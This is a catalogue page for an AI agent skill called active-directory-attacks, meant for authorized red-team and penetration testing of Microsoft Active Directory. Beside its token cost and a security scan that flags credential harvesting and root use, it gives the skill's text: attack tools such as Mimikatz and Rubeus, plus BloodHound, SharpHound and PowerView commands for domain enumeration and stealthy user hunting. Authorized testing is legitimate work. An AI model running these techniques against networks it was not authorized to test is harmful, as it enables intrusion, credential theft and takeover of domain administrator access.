active-directory-attacks

active-directory-attacks is a skill for Claude Code, Codex from henryalouf/ruflow. It costs 42 tokens per session (2,742 once invoked), scanned B, a copy of active-directory-attacks, MIT.

A collection of techniques for authorized security testing of Microsoft Active Directory, the system many organizations use to manage Windows users, computers, and permissions. It covers finding weaknesses involving accounts, authentication, and access between machines.

In plain words
What is it for?
Red-team exercises, penetration tests, and defensive validation involving directory discovery, credential exposure, Kerberos authentication, lateral movement, privilege escalation, and domain-admin risks.
Why use it?
Poorly protected directory systems can let an attacker move through a company network or gain administrator control. This helps security teams test those paths in approved environments.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade B, and why

active-directory-attacks scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Harvests environment variablesmediumData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

Extract credentials directly from DC (requires Replicating Directory Changes rights):

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

Active Directory Attacks

Purpose

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

Inputs/Prerequisites

  • Kali Linux or Windows attack platform
  • Domain user credentials (for most attacks)
  • Network access to Domain Controller
  • Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

Outputs/Deliverables

  • Domain enumeration data
  • Extracted credentials and hashes
  • Kerberos tickets for impersonation
  • Domain Administrator access
  • Persistent access mechanisms

Essential Tools

Tool Purpose
BloodHound AD attack path visualization
Impacket Python AD attack tools
Mimikatz Credential extraction
Rubeus Kerberos attacks
CrackMapExec Network exploitation
PowerView AD enumeration
Responder LLMNR/NBT-NS poisoning

Core Workflow

Step 1: Kerberos Clock Sync

Kerberos requires clock synchronization (±5 minutes):

# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"

# Fix clock on Windows
net time /domain /set

# Fake clock without changing system time
faketime -f '+8h' <command>

Step 2: AD Reconnaissance with BloodHound

# Start BloodHound
neo4j console
bloodhound --no-sandbox

# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

Step 3: PowerView Enumeration

# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Find local admin access
Find-LocalAdminAccess -Verbose

# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

active-directory-attacks is a skill published in the GitHub repository henryalouf/ruflow (123 stars, last pushed 3mo ago), licensed MIT. It adds 42 tokens to every session and 2,742 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 2 findings (harvests environment variables, asks for root). It is 83% identical to active-directory-attacks, differing in 14 lines, and is treated as a copy.
